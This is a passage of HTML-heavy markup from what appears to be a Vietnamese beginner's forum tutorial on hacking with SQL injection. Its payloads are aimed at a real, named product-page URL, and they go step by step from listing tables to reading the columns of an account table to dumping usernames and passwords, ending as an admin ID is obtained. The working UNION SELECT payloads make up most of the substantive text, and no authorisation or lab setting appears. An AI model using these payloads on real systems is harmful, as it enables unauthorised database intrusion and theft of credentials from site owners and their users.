-webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">Tiếp Theo Tìm Các Column Trong Table taikhoan . Cần Phãi Encode tên table sang mã Hex Và thêm trước nó "0x" Để Hệ Thống Biết Đó Là Mã Hex . Mã Hex cũa taikhoan là 7461696b686f616e Thêm "0x" ỡ đầu sẽ thành : </span><br /> <span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">0x7461696b686f616e <== Thay Mã Hex này Với Database() như Hình :</span><br /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br /> <div class="resizewraper" style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; display: inline-block; margin: 0px; padding: 0px; position: relative; vertical-align: top;"> <a href="http://sinhvienit.net/forum/tut-hack-sqli-injection-can-ban-cho-newbie-d.247389.html" id="vtlai_auto_link_back_7" style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #05a6ad; cursor: default; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify; text-decoration: none;" target="_blank" title="Hướng dẫn [TUT] Hack SQLi Injection Căn Bản Cho NewBie :D"><img alt="" border="0" src="http://data.sinhvienit.net/2013/T03/img/SinhVienIT.Net---1419390-vsecuf.png" style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; border: 5px solid rgb(223, 235, 244); box-sizing: border-box; display: inline-block; width: 860px;" /></a></div> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">Và Sửa Link ỡ 1 vài chỗ :</span><br /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <a href="http://sinhvienit.net/forum/url/?http%3A%2F%2Fpscells.com%2Fchitietsanpham.php%3Fid%3Dnull" rel="nofollow" style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #05a6ad; cursor: pointer; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify; text-decoration: none;" target="_blank">http://pscells.com/chitietsanpham.php?id=null</a><span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;"> UNION SELECT 1,2,3,4,5,group_concat(table_name),7,8 from information_schema.tables where table_schema=database()-- -</span><br /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">Thành</span><br /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <a href="http://sinhvienit.net/forum/url/?http%3A%2F%2Fpscells.com%2Fchitietsanpham.php%3Fid%3Dnull" rel="nofollow" style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #05a6ad; cursor: pointer; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify; text-decoration: none;" target="_blank">http://pscells.com/chitietsanpham.php?id=null</a><span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;"> UNION SELECT 1,2,3,4,5,group_concat(</span><span style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: red; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">column</span><span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">_name),7,8 from information_schema.</span><span style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: red; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">column</span><span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">s where table_</span><span style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: red; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">name</span><span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">=0x7461696b686f616e-- -</span><br /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">Ta sẽ được:</span><br /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br /> <div class="resizewraper" style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; display: inline-block; margin: 0px; padding: 0px; position: relative; vertical-align: top;"> <a href="http://sinhvienit.net/forum/tut-hack-sqli-injection-can-ban-cho-newbie-d.247389.html" id="vtlai_auto_link_back_8" style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #05a6ad; cursor: default; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify; text-decoration: none;" target="_blank" title="Hướng dẫn [TUT] Hack SQLi Injection Căn Bản Cho NewBie :D"><img alt="" border="0" src="http://data.sinhvienit.net/2013/T03/img/SinhVienIT.Net---1419390-vseceq.png" style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; border: 5px solid rgb(223, 235, 244); box-sizing: border-box; display: inline-block; width: 860px;" /></a></div> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">Tiếp theo lấy giá trị từ các column này ra ( Ko Cần Dùng Mã Hex Cho Các Tên Column Này )</span><br /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">Đổi link ỡ 1 số chỗ :</span><br /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <a href="http://sinhvienit.net/forum/url/?http%3A%2F%2Fpscells.com%2Fchitietsanpham.php%3Fid%3Dnull" rel="nofollow" style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #05a6ad; cursor: pointer; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify; text-decoration: none;" target="_blank">http://pscells.com/chitietsanpham.php?id=null</a><span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;"> UNION SELECT 1,2,3,4,5,group_concat(</span><span style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: red; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">id,0x207c20,name,0x207c20,pass,0x207c20</span><span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">),7,8 </span><span style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: red; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">from taikhoan</span><span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">-- -</span><br /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">Lưu ý: Mã Hex 0x207c20 Là Mã Hex Của " | " Mình Đễ Vậy Để Phân Cách Các Giá Trị Sau Khi Get Cho Dễ Nhìn ^^! Ko Cần Thiết Lắm </span><br /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">Xóa Hết Phần Sau Chừa Lại from Và Thêm Tên Table Mà Hồi Nãy Mình Khai Thác Như : taikhoan </span><br /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">Và Ta Sẽ Đc Như Hình :</span><br /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br /> <div class="resizewraper" style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; display: inline-block; margin: 0px; padding: 0px; position: relative; vertical-align: top;"> <a href="http://sinhvienit.net/forum/tut-hack-sqli-injection-can-ban-cho-newbie-d.247389.html" id="vtlai_auto_link_back_9" style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #05a6ad; cursor: default; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify; text-decoration: none;" target="_blank" title="Hướng dẫn [TUT] Hack SQLi Injection Căn Bản Cho NewBie :D"><img alt="" border="0" src="http://data.sinhvienit.net/2013/T03/img/SinhVienIT.Net---1419390-vsecnl.png" style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; border: 5px solid rgb(223, 235, 244); box-sizing: border-box; display: inline-block; width: 860px;" /></a></div> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">Như hình trên. Ta được 1 ID Admin Là :</span><br /> <br style="-webkit-margin-after: 0px; 